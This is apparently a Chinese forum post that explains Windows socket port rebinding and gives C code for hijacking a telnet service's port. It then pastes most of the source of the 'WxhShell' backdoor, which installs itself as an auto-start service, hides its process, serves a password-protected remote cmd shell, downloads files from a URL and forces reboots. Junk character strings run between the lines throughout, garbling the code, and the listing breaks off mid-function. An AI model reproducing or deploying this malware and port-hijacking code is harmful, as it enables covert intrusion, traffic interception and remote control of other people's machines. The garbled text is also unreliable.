-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M$%ON>Kq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P"^Yx8 L# ]jxyaE&%4 saddr.sin_family = AF_INET; }6\,kFc pI-Qq%Nwt saddr.sin_addr.s_addr = htonl(INADDR_ANY); fc@<' -VA 8c-ys-"# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @2h hB W v)_c*+6u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s(3u\#P >W] Wc4\ 这意味着什么?意味着可以进行如下的攻击: Zt!$"N., <Hr<QiAK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pLCj"D).M ,]wQ]fpt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W7WHDL^ d.~ns4bt9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <M1*gz x}K|\KXy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 fVgK6?<8^ 'yX\y
6I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eUQmW^
sx=1pnP9` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C]mp< !9
kNL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {U_ ,y(V $7Hwu^c( #include *Ci&1Mu^Z #include *
cW%Q@lit #include ^2$b8]q #include fDns r"T DWORD WINAPI ClientThread(LPVOID lpParam); qzxWv5UH int main() J&~I4ko] { ];Noe9o WORD wVersionRequested; s3JzYDpy DWORD ret; .jqil0#)Y" WSADATA wsaData; YX,;z/Jw2 BOOL val; ;W5.g8 SOCKADDR_IN saddr; bS8$[7OhX SOCKADDR_IN scaddr; 0qFO+nC int err; liPrxuP` SOCKET s; RP~67L SOCKET sc; jbS@6 *_ int caddsize; n]#YL4j HANDLE mt; 3Y)z{o>P DWORD tid; 6/wC StZ wVersionRequested = MAKEWORD( 2, 2 ); #@BhGB`9Qt err = WSAStartup( wVersionRequested, &wsaData ); t'$_3ml if ( err != 0 ) { }|Q\@3& printf("error!WSAStartup failed!\n"); /1/'zF&R- return -1; { /!ryOA65 } ',[AKXJ saddr.sin_family = AF_INET; sYXLVJ>b 'j'6x'[>] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +pq=i jNX6Ct? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ck
`td% saddr.sin_port = htons(23); j07A>G-= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a+v.(mCG { 6bj77CoB printf("error!socket failed!\n"); <Sd ef^ return -1; X=?9-z]
QO } ]Gm4gd` val = TRUE;
rwSR //SO_REUSEADDR选项就是可以实现端口重绑定的 \anOOn@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )Az0.} { \25EI] printf("error!setsockopt failed!\n"); ZZkc) @ return -1; ;8MQ'# } GJU(1%- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DQu)?Rsk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6X'0 T} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :/Pxf N5 KIY`3Fl09 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +pK 35u { fS'` 9 ret=GetLastError(); \kI{# printf("error!bind failed!\n"); D5Rp<PBq, return -1; cna%;f. } G,WLca[ listen(s,2); d7X7_ while(1) \L?A4Qx)_ { @>ys,dy caddsize = sizeof(scaddr); FnOahLS //接受连接请求 a)S6Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4k{xo~+%, if(sc!=INVALID_SOCKET) SCn)j:gH; { QS4~":D/C mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yfqe6-8U if(mt==NULL) l%0-W { 2Kr8#_) 0 printf("Thread Creat Failed!\n"); ~A%+oa*2~ break; XLYGhM } M'X,7hZ } <f)T*E^5% CloseHandle(mt); inq
{" 6 } }=|{"C closesocket(s); Z{
9Io/ WSACleanup(); T#Bj5H return 0; %<O~eXY } q!><:"#[G DWORD WINAPI ClientThread(LPVOID lpParam) :YX5%6 { e^;:iJS SOCKET ss = (SOCKET)lpParam; fpO2bD%$8 SOCKET sc; lc [)Ev unsigned char buf[4096]; iW9 SOCKADDR_IN saddr; }=gD,]2x8 long num; Ks^wX DWORD val; {{pN7Z
DWORD ret; TZg1,Z //如果是隐藏端口应用的话,可以在此处加一些判断 0Q#}: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ,|#biT-<T saddr.sin_family = AF_INET; Wi\k&V.mE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +4qR5(W saddr.sin_port = htons(23); OYmutq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IZ Q*D) { d mTZEO printf("error!socket failed!\n"); F]<2nb7 return -1; ,5T1QWn^f } 33~8@]b val = 100; #l9sQ-1Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >-3>Rjo> { '<e$ c ret = GetLastError(); O^ &m return -1; G%!i="/9 } +RiI5.$=Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nHZhP4W { !`W0;0'Zg ret = GetLastError(); Gv#bd05X return -1; m9DTz$S. } f+)LVT8p if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a>d`g { p)m5|GH24 printf("error!socket connect failed!\n"); |-cXb.M[ closesocket(sc); Oi@|4mo closesocket(ss); eZhF<<Y return -1; kf |J } s bR*[2 while(1) P)Oe?z;G? { JFNjc:4{0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \;Q!}_ K //如果是嗅探内容的话,可以再此处进行内容分析和记录 <7L-25 = //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }1CvbB%,A num = recv(ss,buf,4096,0); Cy5iEI# if(num>0) tehWGqx) send(sc,buf,num,0); ,":_CY4( else if(num==0) i],~tT|P break; |942#rM num = recv(sc,buf,4096,0); Ul 85-p if(num>0) 6o(.zk`d send(ss,buf,num,0); <*/Z>Z_c2 else if(num==0) Tfv@oPu break; n!Y}D:6c6 } 7xWJw closesocket(ss); 7*WO9R/ closesocket(sc); RjrQDh|(( return 0 ; C}L2'l, } O CCC' k (hKjr1s vkG%w; ========================================================== +;oR_]l ^R(=4%8%" 下边附上一个代码,,WXhSHELL /V]i3ac D)S_ p& ========================================================== 9.#")%_p ;l < amB #include "stdafx.h" ~[BGKqh *UG?I|l|I #include <stdio.h> ~u[1Vz4#3 #include <string.h> VOg'_#I #include <windows.h> *7L1SjZw #include <winsock2.h> [`bK {Dq2 #include <winsvc.h>
CalWJ #include <urlmon.h> P^lzbWj^ (b"q(:5oX #pragma comment (lib, "Ws2_32.lib") }%42Ty #pragma comment (lib, "urlmon.lib") )g]A
'A= |;p.!FO #define MAX_USER 100 // 最大客户端连接数 3e\IRF xzb #define BUF_SOCK 200 // sock buffer @ @(O##(7 #define KEY_BUFF 255 // 输入 buffer Aq>?G+ @2_E9{ T #define REBOOT 0 // 重启 6 lEv<)cC #define SHUTDOWN 1 // 关机 CqU ^bVs K;w]sN+I #define DEF_PORT 5000 // 监听端口 `v2Xp3o4f 0[7"Lhpd #define REG_LEN 16 // 注册表键长度 &W `7 b< #define SVC_LEN 80 // NT服务名长度 0]nveC$ // 从dll定义API
q$K}Fm1C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >5Y. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pXA|'U5] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); axN\ZXU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $) qL=kR #|=lU4Bf // wxhshell配置信息 n5tsaU; struct WSCFG { f9d{{u int ws_port; // 监听端口 rD !GEU char ws_passstr[REG_LEN]; // 口令 w2lO[o~x} int ws_autoins; // 安装标记, 1=yes 0=no Y'+KU/H char ws_regname[REG_LEN]; // 注册表键名 E!L_"GW char ws_svcname[REG_LEN]; // 服务名 J*Cf1 D5! char ws_svcdisp[SVC_LEN]; // 服务显示名 xjrL@LO# char ws_svcdesc[SVC_LEN]; // 服务描述信息 3hA5"G+7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g!cW`B' int ws_downexe; // 下载执行标记, 1=yes 0=no QDb8W*&< char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" )gAqWbkB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0c,!<\B s={IKU&m[ }; wk1/& <B @z>V // default Wxhshell configuration ph%t
#R struct WSCFG wscfg={DEF_PORT, r!|h3*YA "xuhuanlingzhe", <$K7f 1, p$*P@qm "Wxhshell", e ]{=#
"Wxhshell", l=#b7rBP "WxhShell Service", PM&NY8|Zy "Wrsky Windows CmdShell Service", p
)WRsJ8 "Please Input Your Password: ", {L7+lz 1, 5Ux= 5a " http://www.wrsky.com/wxhshell.exe", }2Y`Lr "Wxhshell.exe" ,8!'jE[d }; 10N0?K" K=pG,[ChA // 消息定义模块 '#Do( U' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kN 0N18E char *msg_ws_prompt="\n\r? for help\n\r#>"; joNV4v"=` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ZQ-6n1O char *msg_ws_ext="\n\rExit."; t{`krs`` char *msg_ws_end="\n\rQuit."; HLL=.: P char *msg_ws_boot="\n\rReboot..."; C3
BoH& char *msg_ws_poff="\n\rShutdown..."; Q~KzcB< char *msg_ws_down="\n\rSave to "; W[>qiYf^b ^)a j,U[ char *msg_ws_err="\n\rErr!"; 'Axe:8LA' char *msg_ws_ok="\n\rOK!"; HC6v#-( `{ ]]y,FQ,r char ExeFile[MAX_PATH]; 9`KFJx6D int nUser = 0; S9'Xsh HANDLE handles[MAX_USER]; 2~vvE int OsIsNt; vjA!+_I6 BQs\!~Ux2 SERVICE_STATUS serviceStatus; su\`E&0V+ SERVICE_STATUS_HANDLE hServiceStatusHandle; :Smyk.B2! l j+p}dt // 函数声明 - Nt8'- int Install(void); 6^2='y~e int Uninstall(void); j8^zE,Z int DownloadFile(char *sURL, SOCKET wsh); F'JT7#eX int Boot(int flag); #5iwDAw:|r void HideProc(void); xmfZ5nVL int GetOsVer(void); (CAkzgTfc int Wxhshell(SOCKET wsl); aN!,\D void TalkWithClient(void *cs); 0<^Qj.(9 int CmdShell(SOCKET sock); R0bgt2J int StartFromService(void); ZkNet>9 int StartWxhshell(LPSTR lpCmdLine); PI"6d)S2 '?LqVzZI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?JW/Stua VOID WINAPI NTServiceHandler( DWORD fdwControl ); $I<\Yuy-M9 }%^ 3 // 数据结构和表定义 `(6cRT`Wp SERVICE_TABLE_ENTRY DispatchTable[] = }FX:sa?5 { #F6M<V' {wscfg.ws_svcname, NTServiceMain}, 4H{$zMq8 {NULL, NULL} xqauSW }; Vl'rO_?t c4s,T"H // 自我安装 st >%U9 int Install(void) i@ 86Ez { E
5mYFVK char svExeFile[MAX_PATH]; #RKd>ig% HKEY key; iRM ?_| strcpy(svExeFile,ExeFile); LKZv#b[h ^Cj3\G4, // 如果是win9x系统,修改注册表设为自启动 m@)Ya*=< if(!OsIsNt) { [ fs.D / if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AtqsrYj
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O(:/&`) RegCloseKey(key);
1DN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q@"!uB.e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f>m! }F: RegCloseKey(key); gf^y3F[\ return 0; PtGFLM9R } ~K
('t9| } mApl;D X } :W+%jn else { AE Abny
q Kp!A
ay // 如果是NT以上系统,安装为系统服务 SPauno <M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WE+Szg(4x if (schSCManager!=0) |;"(C# B { '>T hn{ SC_HANDLE schService = CreateService zXkq2\GHA ( J?1Eh14KZ schSCManager, rmdg~ wscfg.ws_svcname, (%9J(4 wscfg.ws_svcdisp, ^KV:.up6 SERVICE_ALL_ACCESS, 1k{H,p7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }{[JS=A^ SERVICE_AUTO_START, Rhw+~gd*F SERVICE_ERROR_NORMAL, biU
?>R
svExeFile, 8k_hX^ NULL, ?ea5k*#a NULL, DW)X3A(^ NULL, n} ]gAX NULL, ?Iag-g9#=m NULL .Vs|&c2im ); ]1I-e2Q-J if (schService!=0) {5+ 39=( { _<?z-K_;I CloseServiceHandle(schService); l(}l([rdQ CloseServiceHandle(schSCManager); SjcX|=S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZbH_h]1$D strcat(svExeFile,wscfg.ws_svcname); IU"8.(;o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2/x~w~3U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EEvi_Z932 RegCloseKey(key); {#&D=7LP return 0; iL~(BnsF } yP34h*0B } ~N)(|N CloseServiceHandle(schSCManager); MYVb ! } 1\/~> } SE$l,Z"[*b ler$HA%F] return 1; ~W3t(\B' } ZR8y9mx2" t{Ks}9B // 自我卸载 "i!W(}x+ int Uninstall(void) J?jxD/9Yb { IcNZUZGE HKEY key; GxE`z6%[ vJ;0%;eu[! if(!OsIsNt) { A>*#Nw5L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ho!qXS RegDeleteValue(key,wscfg.ws_regname); D"{%[;J RegCloseKey(key); 52r\Q}v$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Cyus RegDeleteValue(key,wscfg.ws_regname); 6~6 vwp RegCloseKey(key); Bo0T}P~ return 0; qporH]J-E } 4OG1_6K } <B+
WM } 0bu!(Tpg7 else { HLqDI lL q%XjJ -s: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '1Ex{$Yk if (schSCManager!=0) O_*tDq,e { Jb)xzUhES SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oF s)UR if (schService!=0) }#nd&ND { /8/N if(DeleteService(schService)!=0) { Yv[<c!\
CloseServiceHandle(schService); ]v_u2f' CloseServiceHandle(schSCManager); t;y@;?~ return 0; p`'3Il3 } A|m0.'/ CloseServiceHandle(schService); ~^o YPd52* } $wk(4W8E CloseServiceHandle(schSCManager); ^j1iCL! } Ls&-8 } 1W7ClT_cQ T5_rPz return 1; !]&+g'aC3 } M2A_T.F=H uao#=]?) // 从指定url下载文件 U \F ?{/ int DownloadFile(char *sURL, SOCKET wsh) Z{_YH7_ { Z|d+1i HRESULT hr; =3GgfU5k char seps[]= "/"; (,RL\1zJ char *token; WogCt, char *file; | 8akp char myURL[MAX_PATH]; &E-q(3- char myFILE[MAX_PATH]; 35fj-J$8 > v4+@o[~ strcpy(myURL,sURL); 2Xv$ token=strtok(myURL,seps); QPB^%8 while(token!=NULL) .nei9Y* { k%;oc$0G-3 file=token; yY"n: &T( token=strtok(NULL,seps); `_3Gb } i8=+<d 2xv[cpVi GetCurrentDirectory(MAX_PATH,myFILE); %D`j3cEp@ strcat(myFILE, "\\"); 5#dJga/88 strcat(myFILE, file); -E.fo._L5 send(wsh,myFILE,strlen(myFILE),0); n -xCaq send(wsh,"...",3,0); /LG}nY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^a7a_M if(hr==S_OK) O*>`md?MH return 0; h~ehZJys else ah#jvp return 1; j$P`/-N 7H?lR~w } <_SdW 5BF< ?:+p#&I // 系统电源模块 pwA~?$B1 int Boot(int flag) s6Il3Kf { 2F/oWt|w? HANDLE hToken; )eH?3"" TOKEN_PRIVILEGES tkp; NOl/y@# q<cxmo0S if(OsIsNt) { ?BU?c:"f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OZ&SxR%q4 tkp.PrivilegeCount = 1; 4p>, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m:cWnG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C-&s$5MzGb if(flag==REBOOT) { P9M%B2DQ6f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7s0pH+ return 0; VL$?vI' } -`1)yhS else { &jh17y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M`?ATmYy return 0; }&^1")2t } ob9=/ R?i } &x/Z{ut else { 4H`B]Zt7 if(flag==REBOOT) { 07>D G# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %z-n2% return 0; YOUX } 4Dasj8GsV else { Cjj(v7[E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )O>M~ return 0; ',I$`h } \\Nt^j3qR } 5oo6d4[ pAyUQe;X# return 1; +#6f)H(P] } 4\ny]A:~ fdgjTX // win9x进程隐藏模块 @QDpw1;V' void HideProc(void) |wuN`;gc" {
&0OH:P% +[pJr-k HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G'Uq595'- if ( hKernel != NULL ) {T3wOi { NFI~vkk'G pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x#t?` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jK2gc^"t FreeLibrary(hKernel); 2]H?q!l!O } R[H#av 0kaMYV? return; O)`ye5>v } /.(F\2+A 8*eVP*g // 获取操作系统版本 'i 8`LPQ int GetOsVer(void) 3C2~heO>| { ^vTp.7o~5 OSVERSIONINFO winfo; }1NNXxQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'N/u<`) GetVersionEx(&winfo); ,N8SP
'R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %/RT}CBBsW return 1; i$H9~tPs else m21H68y return 0; }jYVB|2 } +KIFLuL P}
Y .
// 客户端句柄模块 ty8E;[' int Wxhshell(SOCKET wsl) cY.5z:7u~v { B8zc#0!1 SOCKET wsh; !ZayN struct sockaddr_in client; H~W=#Cx DWORD myID; 9\%`/tJM gVs@T' while(nUser<MAX_USER) Oo9' { ;6*$!^*w int nSize=sizeof(client); 2QKt.a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =@MJEo` D if(wsh==INVALID_SOCKET) return 1; `|4k>5k _Pn
1n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^[b DE0 if(handles[nUser]==0) 1}OM"V closesocket(wsh); VhU,("&pm else <6C:\{eo nUser++; xU
|8.,@ } eqqnR.0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VBK |*Tl A1B%<$|pz return 0; lOHW9Z } JG{`tTu p+${_w>pl{ // 关闭 socket FPu$N d&\ void CloseIt(SOCKET wsh) 9y j'->dL { fPG3$<Zr closesocket(wsh); WpC9(AX5g nUser--; ?B<.d8i ExitThread(0); /b410NP5 } DDZnNSo<JQ &a'LOq+r' // 客户端请求句柄 dyB@qh~H void TalkWithClient(void *cs) @I?:x4 { bl#6B.*= }U|Vpgd! SOCKET wsh=(SOCKET)cs; n'!x"O7 char pwd[SVC_LEN]; uS!V_] char cmd[KEY_BUFF]; =D)ADZ\<r char chr[1]; 'Qg.D88 int i,j; Op hD_^ o 9d|XY_ while (nUser < MAX_USER) { nY,LQ0r P[jh^!<j if(wscfg.ws_passstr) { aTs9lr: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WnA
Y<hZ| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W?n/>DML //ZeroMemory(pwd,KEY_BUFF); So4#n7 i=0; 7yOBxb while(i<SVC_LEN) { *pyC<4W @?&
i // 设置超时 :bXTV?#0
fd_set FdRead; QRwO v struct timeval TimeOut; 8tzL.P^ FD_ZERO(&FdRead); l|M|;5TW FD_SET(wsh,&FdRead); E CPSE{ TimeOut.tv_sec=8; 38%"#T3# TimeOut.tv_usec=0; M%s!qC+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e1hf{:&/G@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L+0:'p= ,_K:DSiB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cG4}daK]d pwd =chr[0]; 5[~C!t; if(chr[0]==0xd || chr[0]==0xa) { 7**zO3
H pwd=0; P=X)Ktmv break; m/`L3@7Tt } [~?6jnp i++; ""h%RhcZ\ } (@S9>z4s "@rHGxK // 如果是非法用户,关闭 socket 1+Vei<H$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }xY|z"& } C}\kp0mz GE\({V.W send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CS0q#? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'lmjZ{k |RDE/ while(1) { #q8/=,3EG {_ZbPPh;M" ZeroMemory(cmd,KEY_BUFF); &09G9G snQ }{v0}-~@ // 自动支持客户端 telnet标准 :^]FpUY j=0; m*v@L4t(1 while(j<KEY_BUFF) { ,.&D{$1W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B9'2$s+Z; cmd[j]=chr[0]; \3)U~[O>: if(chr[0]==0xa || chr[0]==0xd) { Ah
zV?6e cmd[j]=0; $B OpjDV8 break; 8'u,}b) } uNpa2{S' j++; t`1~5#?Du( } f1U:_V^d ?:W=ddg // 下载文件 (AHTv8 if(strstr(cmd,"http://")) { w# ;t$qz} send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3)XS^WG if(DownloadFile(cmd,wsh)) nDNK}O~' send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQ[ TcV else d/E0opv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6lwWFR+k } ,;yaYF6|/ else { VC^QCuSq 'JAe=K
H switch(cmd[0]) { Ua+Us"M3} :{?Pq8jP // 帮助 s$/Z+"f( case '?': { Vtk}>I@% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]jV1/vJ-! break; GGFrV8 } ^!SwY_> // 安装 3;Tsjv} case 'i': { q{7+N1
" if(Install()) x8&~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+?sR<e?! else [O6JVXO> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &tw{d DD6 break; xic&m5j
m } Chtls;Ph[ // 卸载 K?V'
?s case 'r': { >F/5`=/'h if(Uninstall()) #F+b^WTR send(wsh,msg_ws_err,strlen(msg_ws_err),0); OPDRV\ else $HV`bJ5!L* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gdlx0i break; l I+KT_|L } %UCuI9 // 显示 wxhshell 所在路径 =`wnng5m case 'p': { 6Ou[t6 char svExeFile[MAX_PATH]; </qli-fXB} strcpy(svExeFile,"\n\r"); E\~!E20^ strcat(svExeFile,ExeFile); !^w}Sp send(wsh,svExeFile,strlen(svExeFile),0); QkY;O<Y_ break; -)E6{ } :UDe\zcd" // 重启 AkBEE case 'b': { &fwb?Vn4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K<"Y4O#] if(Boot(REBOOT)) `wLMJ,@f. send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?PgC~y) else { /Y*6mQ: closesocket(wsh); 2@pEuB3$?! ExitThread(0); v ce1'aW } Su[f"2oR break; 1.q
a//'RW } 4:qM'z // 关机 ziD+% - case 'd': { !T26#>mV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H,U qU3b3 if(Boot(SHUTDOWN)) M\be a send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ec|5'Kz] else { 3AarRQWsn closesocket(wsh); O:te;lQK ExitThread(0); F$H^W@<w } $4]"g}_ break; RyN?Sn5) } {#uf#J| // 获取shell |PW.CV0, case 's': { T\$r| CmdShell(wsh); %z AN@ closesocket(wsh); ? Eh)JJt ExitThread(0); vhu5w#]u* break; 3']=w@~ O[ } isV9nWo$ // 退出 FR 1se case 'x': { }TAHVcX*p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #
>L^W7^ CloseIt(wsh); h**mAa0fo break; "r.eN_d } _.$g ?E/( // 离开 9x[|75}l case 'q': { F5;x>;r send(wsh,msg_ws_end,strlen(msg_ws_end),0); tD !$!\`O closesocket(wsh); MbeO(Q WSACleanup(); $Xr9<)?, exit(1); i2+vUl|;Z break; ,mW-O!$3W } ~V<62"G } ^J$?[@qD } \%011I4 Cz1o@rt // 提示信息 60&4?<lR4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -
d(RK_ }
[EU\- } EkE U}2 9Wi+7_) return; 13e @ } v22ZwP M]$_>&" // shell模块句柄 O*zF` 9 int CmdShell(SOCKET sock) 2Sg,b8 { ^%r>f@h!L STARTUPINFO si; &DgJu. ZeroMemory(&si,sizeof(si)); z?i{2Fz6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Sxt<7[f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \a}W{e=FNT PROCESS_INFORMATION ProcessInfo; |ydOi& char cmdline[]="cmd"; 5L8 )w5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j?
P=}_Ru return 0; YjM_8@< } IrZ!.5%tV nd/.]" // 自身启动模式 f.&((z?rC int StartFromService(void) 0ynvn9@t { F ak"u'~ typedef struct (jY -MF3 { 8
k%!1dyMB DWORD ExitStatus; h (1 }g/ DWORD PebBaseAddress; j\S}TaH0e DWORD AffinityMask; +`)4jx)r/ DWORD BasePriority; 6#rj3^] ULONG UniqueProcessId; !{,
